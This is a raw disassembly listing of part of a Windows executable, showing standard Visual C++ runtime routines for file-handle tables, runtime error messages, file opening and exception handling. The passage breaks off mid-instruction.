loc_4231CB loc_4231D5: ; CODE XREF: ___:004231C9j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx jnz short loc_4231EB xor esi, esi jmp short loc_4231F6 ; --------------------------------------------------------------------------- loc_4231EB: ; CODE XREF: ___:004231E5j push ebp push edi push esi call sub_41CAB0 add esp, 0Ch loc_4231F6: ; CODE XREF: ___:004231E9j push edi call near ptr 2620C88h nop mov eax, esi jmp short loc_423203 ; --------------------------------------------------------------------------- loc_423201: ; CODE XREF: ___:00423111j ; ___:00423139j ... xor eax, eax loc_423203: ; CODE XREF: ___:004231AEj ; ___:004231FFj pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_42322A push 1Bh call sub_41E1C9 pop ecx loc_42322A: ; CODE XREF: ___:00423220j mov dword_4DAA60, esi mov dword_4DAB60, 20h lea eax, [esi+100h] loc_423240: ; CODE XREF: ___:0042325Cj cmp esi, eax jnb short loc_42325E and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DAA60 add esi, 8 add eax, 100h jmp short loc_423240 ; --------------------------------------------------------------------------- loc_42325E: ; CODE XREF: ___:00423242j lea eax, [esp+10h] push eax call near ptr 28A0000h nop cmp word ptr [esp+42h], 0 jz loc_42333A mov eax, [esp+44h] test eax, eax jz loc_42333A mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423294 mov esi, eax loc_423294: ; CODE XREF: ___:00423290j cmp dword_4DAB60, esi jge short loc_4232EE mov edi, offset dword_4DAA64 loc_4232A1: ; CODE XREF: ___:004232E4j push 100h call sub_41BC9B test eax, eax pop ecx jz short loc_4232E8 add dword_4DAB60, 20h mov [edi], eax lea ecx, [eax+100h] loc_4232BF: ; CODE XREF: ___:004232D9j cmp eax, ecx jnb short loc_4232DB and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4232BF ; --------------------------------------------------------------------------- loc_4232DB: ; CODE XREF: ___:004232C1j add edi, 4 cmp dword_4DAB60, esi jl short loc_4232A1 jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E8: ; CODE XREF: ___:004232AEj mov esi, dword_4DAB60 loc_4232EE: ; CODE XREF: ___:0042329Aj ; ___:004232E6j xor edi, edi test esi, esi jle short loc_42333A loc_4232F4: ; CODE XREF: ___:00423338j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423331 mov cl, [ebp+0] test cl, 1 jz short loc_423331 test cl, 8 jnz short loc_423313 push eax nop call near ptr 2620000h test eax, eax jz short loc_423331 loc_423313: ; CODE XREF: ___:00423306j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423331: ; CODE XREF: ___:004232F9j ; ___:00423301j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4232F4 loc_42333A: ; CODE XREF: ___:0042326Fj ; ___:0042327Bj ... xor ebx, ebx loc_42333C: ; CODE XREF: ___:0042339Fj mov eax, dword_4DAA60 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423397 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423357 push 0FFFFFFF6h pop eax jmp short loc_423361 ; --------------------------------------------------------------------------- loc_423357: ; CODE XREF: ___:00423350j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423361: ; CODE XREF: ___:00423355j push eax nop call near ptr 26207DDh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423386 push edi call near ptr 2620000h nop test eax, eax jz short loc_423386 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_42338C loc_423386: ; CODE XREF: ___:0042336Dj ; ___:00423378j or byte ptr [esi+4], 40h jmp short loc_42339B ; --------------------------------------------------------------------------- loc_42338C: ; CODE XREF: ___:00423384j cmp eax, 3 jnz short loc_42339B or byte ptr [esi+4], 8 jmp short loc_42339B ; --------------------------------------------------------------------------- loc_423397: ; CODE XREF: ___:00423348j or byte ptr [esi+4], 80h loc_42339B: ; CODE XREF: ___:0042338Aj ; ___:0042338Fj ... inc ebx cmp ebx, 3 jl short loc_42333C push dword_4DAB60 nop call near ptr 26209AEh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233C0 proc near ; DATA XREF: sub_421F92+Ao ; sub_4220C1+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423460 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4233F3: ; CODE XREF: sub_4233C0+90j cmp esi, 0FFFFFFFFh jz short loc_423459 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423447 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423447 js short loc_423452 mov edi, [ebx+8] push ebx call sub_41D2E0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D322 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D3B6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423447: ; CODE XREF: sub_4233C0+40j ; sub_4233C0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4233F3 ; --------------------------------------------------------------------------- loc_423452: ; CODE XREF: sub_4233C0+54j mov eax, 0 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423459: ; CODE XREF: sub_4233C0+36j mov eax, 1 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423460: ; CODE XREF: sub_4233C0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D322 add esp, 8 pop ebp mov eax, 1 loc_423475: ; CODE XREF: sub_4233C0+97j ; sub_4233C0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4233C0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D322 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423498 proc near ; CODE XREF: sub_41E1C9+9p mov eax, dword_4D9790 cmp eax, 1 jz short loc_4234AF test eax, eax jnz short locret_4234D0 cmp dword_43A674, 1 jnz short locret_4234D0 loc_4234AF: ; CODE XREF: sub_423498+8j push 0FCh call sub_4234D1 mov eax, dword_4D98F8 pop ecx test eax, eax jz short loc_4234C5 call eax loc_4234C5: ; CODE XREF: sub_423498+29j push 0FFh call sub_4234D1 pop ecx locret_4234D0: ; CODE XREF: sub_423498+Cj ; sub_423498+15j retn sub_423498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234D1 proc near ; CODE XREF: sub_41E1C9+12p ; sub_423498+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43ACE8 loc_4234E4: ; CODE XREF: sub_4234D1+20j cmp edx, [eax] jz short loc_4234F3 add eax, 8 inc ecx cmp eax, offset off_43AD78 jl short loc_4234E4 loc_4234F3: ; CODE XREF: sub_4234D1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43ACE8[esi] jnz loc_423621 mov eax, dword_4D9790 cmp eax, 1 jz loc_4235FB test eax, eax jnz short loc_423524 cmp dword_43A674, 1 jz loc_4235FB loc_423524: ; CODE XREF: sub_4234D1+44j cmp edx, 0FCh jz loc_423621 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_42355B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C620 pop ecx pop ecx loc_42355B: ; CODE XREF: sub_4234D1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B960 inc eax pop ecx cmp eax, 3Ch jbe short loc_42359E lea eax, [ebp+var_1A4] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BD70 add esp, 10h loc_42359E: ; CODE XREF: sub_4234D1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C620 lea eax, [ebp+var_A0] push edi push eax call sub_41C630 lea eax, [ebp+var_A0] push offset asc_427BD8 ; "\n\n" push eax call sub_41C630 push off_43ACEC[esi] lea eax, [ebp+var_A0] push eax call sub_41C630 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424C88 add esp, 2Ch pop edi jmp short loc_423621 ; --------------------------------------------------------------------------- loc_4235FB: ; CODE XREF: sub_4234D1+3Cj ; sub_4234D1+4Dj lea eax, [ebp+arg_0] lea esi, off_43ACEC[esi] push 0 push eax push dword ptr [esi] call sub_41B960 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 26207DDh nop push eax call near ptr 2720000h nop loc_423621: ; CODE XREF: sub_4234D1+2Ej ; sub_4234D1+59j ... pop esi leave retn sub_4234D1 endp ; =============== S U B R O U T I N E ======================================= sub_423624 proc near ; CODE XREF: sub_42393B:loc_423AB3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DAA60 loc_423633: ; CODE XREF: sub_423624+48j mov eax, [ecx] test eax, eax jz short loc_423670 lea edx, [eax+100h] loc_42363F: ; CODE XREF: sub_423624+28j cmp eax, edx jnb short loc_42365F test byte ptr [eax+4], 1 jz short loc_42364E add eax, 8 jmp short loc_42363F ; --------------------------------------------------------------------------- loc_42364E: ; CODE XREF: sub_423624+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4236B3 loc_42365F: ; CODE XREF: sub_423624+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DAB60 jl short loc_423633 jmp short loc_4236B3 ; --------------------------------------------------------------------------- loc_423670: ; CODE XREF: sub_423624+13j mov esi, 100h push esi call sub_41BC9B test eax, eax pop ecx jz short loc_4236B3 add dword_4DAB60, 20h lea ecx, ds:4DAA60h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423696: ; CODE XREF: sub_423624+88j cmp eax, edx jnb short loc_4236AE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236AE: ; CODE XREF: sub_423624+74j shl edi, 5 mov ebx, edi loc_4236B3: ; CODE XREF: sub_423624+39j ; sub_423624+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423624 endp ; =============== S U B R O U T I N E ======================================= sub_4236B9 proc near ; CODE XREF: sub_42393B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 push edi jnb short loc_423719 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423719 cmp dword_43A674, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42370F sub eax, 0 jz short loc_423706 dec eax jz short loc_423701 dec eax jnz short loc_42370F push ebx push 0FFFFFFF4h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423701: ; CODE XREF: sub_4236B9+3Ej push ebx push 0FFFFFFF5h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423706: ; CODE XREF: sub_4236B9+3Bj push ebx push 0FFFFFFF6h loc_423709: ; CODE XREF: sub_4236B9+46j ; sub_4236B9+4Bj call near ptr 2610C72h nop loc_42370F: ; CODE XREF: sub_4236B9+36j ; sub_4236B9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42372D ; --------------------------------------------------------------------------- loc_423719: ; CODE XREF: sub_4236B9+Cj ; sub_4236B9+28j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_42372D: ; CODE XREF: sub_4236B9+5Ej pop edi pop esi retn sub_4236B9 endp ; =============== S U B R O U T I N E ======================================= sub_423730 proc near ; CODE XREF: sub_41E212+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DAB60 push edi jnb short loc_423793 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_423793 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_423793 cmp dword_43A674, 1 jnz short loc_423789 xor eax, eax sub ecx, eax jz short loc_423780 dec ecx jz short loc_42377B dec ecx jnz short loc_423789 push eax push 0FFFFFFF4h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_42377B: ; CODE XREF: sub_423730+41j push eax push 0FFFFFFF5h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_423780: ; CODE XREF: sub_423730+3Ej push eax push 0FFFFFFF6h loc_423783: ; CODE XREF: sub_423730+49j ; sub_423730+4Ej call near ptr 2610C72h nop loc_423789: ; CODE XREF: sub_423730+38j ; sub_423730+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4237A7 ; --------------------------------------------------------------------------- loc_423793: ; CODE XREF: sub_423730+Cj ; sub_423730+2Aj ... and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_4237A7: ; CODE XREF: sub_423730+61j pop edi pop esi retn sub_423730 endp ; =============== S U B R O U T I N E ======================================= sub_4237AA proc near ; CODE XREF: sub_41E212+32p ; sub_41E212+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_4237D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4237D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4237D2: ; CODE XREF: sub_4237AA+Aj ; sub_4237AA+23j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh retn sub_4237AA endp ; =============== S U B R O U T I N E ======================================= sub_4237E7 proc near ; CODE XREF: sub_41E2F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_423830 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423830 push eax call sub_4237AA pop ecx push eax call near ptr 26107CAh nop test eax, eax jnz short loc_423825 call near ptr 2680DCDh nop jmp short loc_423827 ; --------------------------------------------------------------------------- loc_423825: ; CODE XREF: sub_4237E7+34j xor eax, eax loc_423827: ; CODE XREF: sub_4237E7+3Cj test eax, eax jz short locret_42383D mov dword_4D9718, eax loc_423830: ; CODE XREF: sub_4237E7+Aj ; sub_4237E7+22j mov dword_4D9714, 9 or eax, 0FFFFFFFFh locret_42383D: ; CODE XREF: sub_4237E7+42j retn sub_4237E7 endp ; =============== S U B R O U T I N E ======================================= sub_42383E proc near ; DATA XREF: ___:00429024o mov eax, dword_4DAA40 push esi push 14h test eax, eax pop esi jnz short loc_423852 mov eax, 200h jmp short loc_423858 ; --------------------------------------------------------------------------- loc_423852: ; CODE XREF: sub_42383E+Bj cmp eax, esi jge short loc_42385D mov eax, esi loc_423858: ; CODE XREF: sub_42383E+12j mov dword_4DAA40, eax loc_42385D: ; CODE XREF: sub_42383E+16j push 4 push eax call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 4 push esi mov dword_4DAA40, esi call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 1Ah call sub_41E1C9 pop ecx loc_423891: ; CODE XREF: sub_42383E+30j ; sub_42383E+49j xor ecx, ecx mov eax, offset off_43AD78 loc_423898: ; CODE XREF: sub_42383E+6Ej mov edx, dword_4D9A30 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43AFF8 jl short loc_423898 xor edx, edx mov ecx, offset dword_43AD88 loc_4238B5: ; CODE XREF: sub_42383E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DAA60[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4238D2 test eax, eax jnz short loc_4238D5 loc_4238D2: ; CODE XREF: sub_42383E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4238D5: ; CODE XREF: sub_42383E+92j add ecx, 20h inc edx cmp ecx, offset dword_43ADE8 jl short loc_4238B5 pop esi retn sub_42383E endp ; =============== S U B R O U T I N E ======================================= sub_4238E3 proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES call sub_41E387 cmp byte_4D9754, 0 jz short locret_4238F6 jmp loc_424D8E ; --------------------------------------------------------------------------- locret_4238F6: ; CODE XREF: sub_4238E3+Cj retn sub_4238E3 endp ; =============== S U B R O U T I N E ======================================= sub_4238F7 proc near ; CODE XREF: sub_41EF78+32p ; sub_41F4BF+6Cp ... arg_0 = dword ptr 4 inc dword_4D98FC push 1000h call sub_41BC9B pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423920 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423931 ; --------------------------------------------------------------------------- loc_423920: ; CODE XREF: sub_4238F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423931: ; CODE XREF: sub_4238F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4238F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42393B proc near ; CODE XREF: sub_41F262+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423961 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42396C ; --------------------------------------------------------------------------- loc_423961: ; CODE XREF: sub_42393B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42396C: ; CODE XREF: sub_42393B+24j mov eax, 8000h test ecx, eax jnz short loc_423986 test ch, 40h jnz short loc_423982 cmp dword_4D9A08, eax jz short loc_423986 loc_423982: ; CODE XREF: sub_42393B+3Dj or [ebp+var_1], 80h loc_423986: ; CODE XREF: sub_42393B+38j ; sub_42393B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4239BE dec eax jz short loc_4239B5 dec eax jz short loc_4239AC loc_423997: ; CODE XREF: sub_42393B+9Fj ; sub_42393B+E8j ... mov dword_4D9714, 16h mov dword_4D9718, ebx jmp loc_423BD1 ; --------------------------------------------------------------------------- loc_4239AC: ; CODE XREF: sub_42393B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239B5: ; CODE XREF: sub_42393B+57j mov [ebp+var_C], 40000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239BE: ; CODE XREF: sub_42393B+54j mov [ebp+var_C], 80000000h loc_4239C5: ; CODE XREF: sub_42393B+78j ; sub_42393B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4239F3 cmp eax, 20h jz short loc_4239EA cmp eax, 30h jz short loc_4239E1 cmp eax, 40h jnz short loc_423997 mov [ebp+var_10], esi jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239E1: ; CODE XREF: sub_42393B+9Aj mov [ebp+var_10], 2 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239EA: ; CODE XREF: sub_42393B+95j mov [ebp+var_10], 1 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239F3: ; CODE XREF: sub_42393B+90j mov [ebp+var_10], ebx loc_4239F6: ; CODE XREF: sub_42393B+A4j ; sub_42393B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423A40 jz short loc_423A3B cmp ecx, ebx jz short loc_423A3B cmp ecx, edi jz short loc_423A32 cmp ecx, 200h jz short loc_423A59 cmp ecx, 300h jnz loc_423997 mov [ebp+var_8], 2 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A32: ; CODE XREF: sub_42393B+D8j mov [ebp+var_8], 4 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A3B: ; CODE XREF: sub_42393B+D0j ; sub_42393B+D4j mov [ebp+var_8], esi jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: sub_42393B+CEj cmp ecx, 500h jz short loc_423A62 cmp ecx, 600h jz short loc_423A59 cmp ecx, edx jz short loc_423A62 jmp loc_423997 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_42393B+E0j ; sub_42393B+113j mov [ebp+var_8], 5 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A62: ; CODE XREF: sub_42393B+10Bj ; sub_42393B+117j mov [ebp+var_8], 1 loc_423A69: ; CODE XREF: sub_42393B+F5j ; sub_42393B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423A88 mov ecx, dword_4D971C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423A88 push 1 pop esi loc_423A88: ; CODE XREF: sub_42393B+138j ; sub_42393B+148j test al, 40h jz short loc_423A96 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423A96: ; CODE XREF: sub_42393B+14Fj test ah, 10h jz short loc_423A9D or esi, edi loc_423A9D: ; CODE XREF: sub_42393B+15Ej test al, 20h jz short loc_423AA9 or esi, 8000000h jmp short loc_423AB3 ; --------------------------------------------------------------------------- loc_423AA9: ; CODE XREF: sub_42393B+164j test al, 10h jz short loc_423AB3 or esi, 10000000h loc_423AB3: ; CODE XREF: sub_42393B+16Cj ; sub_42393B+170j call sub_423624 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423AD4 and dword_4D9718, 0 mov dword_4D9714, 18h jmp short loc_423B12 ; --------------------------------------------------------------------------- loc_423AD4: ; CODE XREF: sub_42393B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27306D8h mov esi, eax cmp esi, edi jz short loc_423B05 push esi call near ptr 2620000h nop test eax, eax jnz short loc_423B19 push esi nop call near ptr 2660000h loc_423B05: ; CODE XREF: sub_42393B+1B6j nop call near ptr 2680DCDh push eax call sub_420314 pop ecx loc_423B12: ; CODE XREF: sub_42393B+197j mov eax, edi jmp loc_423BEF ; --------------------------------------------------------------------------- loc_423B19: ; CODE XREF: sub_42393B+1C1j cmp eax, 2 jnz short loc_423B24 or [ebp+var_1], 40h jmp short loc_423B2D ; --------------------------------------------------------------------------- loc_423B24: ; CODE XREF: sub_42393B+1E1j cmp eax, 3 jnz short loc_423B2D or [ebp+var_1], 8 loc_423B2D: ; CODE XREF: sub_42393B+1E7j ; sub_42393B+1ECj push esi push ebx call sub_4236B9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423BD6 test al, 80h jz short loc_423BD6 test byte ptr [ebp+arg_4], 2 jz short loc_423BD6 push 2 push 0FFFFFFFFh push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423B8B cmp dword_4D9718, 83h jz short loc_423BD6 jmp short loc_423BCA ; --------------------------------------------------------------------------- loc_423B8B: ; CODE XREF: sub_42393B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F051 add esp, 0Ch test eax, eax jnz short loc_423BB8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423BB8 push [ebp+var_10] push ebx call sub_424DE6 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423BCA loc_423BB8: ; CODE XREF: sub_42393B+265j ; sub_42393B+26Bj push 0 push 0 push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423BD6 loc_423BCA: ; CODE XREF: sub_42393B+24Ej ; sub_42393B+27Bj push ebx call sub_41E212 pop ecx loc_423BD1: ; CODE XREF: sub_42393B+6Cj or eax, 0FFFFFFFFh jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BD6: ; CODE XREF: sub_42393B+221j ; sub_42393B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423BED test byte ptr [ebp+arg_4], 8 jz short loc_423BED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423BED: ; CODE XREF: sub_42393B+29Fj ; sub_42393B+2A5j mov eax, ebx loc_423BEF: ; CODE XREF: sub_42393B+1D9j ; sub_42393B+299j pop edi pop esi pop ebx leave retn sub_42393B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BF4 proc near ; CODE XREF: sub_41F44A+5Ep ; sub_42001D+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C18 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9904 xor ebx, ebx cmp eax, ebx jnz short loc_423C63 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi nop call near ptr 260055Fh test eax, eax jz short loc_423C41 mov eax, esi jmp short loc_423C5E ; --------------------------------------------------------------------------- loc_423C41: ; CODE XREF: sub_423BF4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_423D29 push 2 pop eax loc_423C5E: ; CODE XREF: sub_423BF4+4Bj mov dword_4D9904, eax loc_423C63: ; CODE XREF: sub_423BF4+2Fj cmp eax, 2 jnz short loc_423C8C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423C74 mov eax, dword_4D97D0 loc_423C74: ; CODE XREF: sub_423BF4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2610000h jmp loc_423D2B ; --------------------------------------------------------------------------- loc_423C8C: ; CODE XREF: sub_423BF4+72j cmp eax, 1 jnz loc_423D29 cmp [ebp+arg_10], ebx jnz short loc_423CA2 mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_423CA2: ; CODE XREF: sub_423BF4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2700000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423D29 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BD10 add esp, 0Ch jmp short loc_423CF8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, 